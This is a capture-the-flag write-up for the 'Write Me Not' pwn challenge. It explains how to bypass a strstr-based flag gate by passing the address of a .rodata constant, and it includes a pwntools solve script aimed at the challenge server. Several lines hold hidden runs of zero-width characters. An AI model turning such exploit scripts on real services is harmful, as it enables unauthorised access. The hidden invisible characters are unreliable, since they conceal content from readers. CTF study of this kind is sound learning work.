← Back to Writeups
CUSTOMEasypwn

Write Me Not

XESXOR9/2/20262 min read
#pwn#custom#easy#logic_gate_bypass#rodata_constant_pointer#strstr_haystack_control

Write Me Not

Platform: pwn_spbctf | Category: pwn | Type: Challenge | Difficulty: Easy | OS: NA | Author: XESXOR | Date: 2026-06-17 | Status: Solved Techniques: logic_gate_bypass, rodata_constant_pointer, strstr_haystack_control

Summary

Task: NON-PIE x86-64 menu pwn exposing arbitrary 1-byte write and arbitrary read, with a get_flag gate that calls strstr(user_ptr, "root"). Solution: skip the write primitive entirely — point the strstr haystack at the constant string "root" already in .rodata (0x402077), so strstr matches and print_flag() dumps /flag.

Write Me Not — pwn_spbctf

Description

Can you ask me well enough?

nc 109.233.56.90 11621

Author: Ilya Shilov (@Shtrikh17)

64-bit x86-64 ELF write_me_not1. Protections: NON-PIE (loaded at 0x400000), NX enabled, Partial RELRO, NO stack canary. It is a menu-driven "arbitrary writer" toy. Goal: read /flag from the remote service.

Analysis

Relevant functions:

FunctionAddrBehavior
main0x401542menu loop: fgets, sscanf(buf,"%c",&c), cmd=c-'0'; cmd<=3 → handle(cmd), cmd==4 exits
handle0x4014ebdispatch (0=read, 1=write, 2=get flag, 3=help)
scan_hex0x4011eerequires input to start with 0x, then parses a hex value
read_func0x4012d9reads a pointer, printf("Result: %s\n", ptr) → arbitrary read as string
write_func0x401395reads dest pointer + value (<=0xFF), sprintf(dest,"%c",value) → arbitrary 1-byte write
get_flag0x401472reads pointer P, calls strstr(P, "root"); if non-NULL → print_flag()
print_flag0x4011a2fopen("/flag","r"); fgets; puts → prints the flag
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The challenge advertises a powerful arbitrary read + arbitrary 1-byte write primitive ("Write Me Not" / arbitrary writer). The intended path is presumably to use the write primitive to forge a string containing "root" somewhere and pass its address to get_flag.

But the gate is simply:

c
if (strstr(user_controlled_pointer, "root") != NULL)
    print_flag();

We fully control the haystack pointer. The needle "root" is a constant that already lives in the binary's .rodata at 0x402077. Because the binary is NON-PIE, that address is fixed at 0x402077 with no leak required. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

strstr("root", "root") trivially matches itself — so pointing the haystack at the needle's own address satisfies the check with zero memory corruption.

Solution

Send command 2 (get flag), then supply the address of the in-binary "root" constant (0x402077) as the pointer to search:

python
#!/usr/bin/env python3
from pwn import *

context.binary = ELF("./write_me_not1")
# io = process("./write_me_not1")
io = remote("109.233.56.90", 11621)

io.recvuntil(b'> ')
io.sendline(b'2')                              # get_flag
io.recvuntil(b'Address: ')
io.sendline(b'%#x' % 0x402077)                 # "root\0" constant in .rodata
print(io.recvall().decode(errors="replace"))   # strstr("root","root") -> print_flag()

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

scan_hex requires the 0x prefix, which %#x provides (0x402077). strstr matches, print_flag() runs fopen("/flag") and puts the contents. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍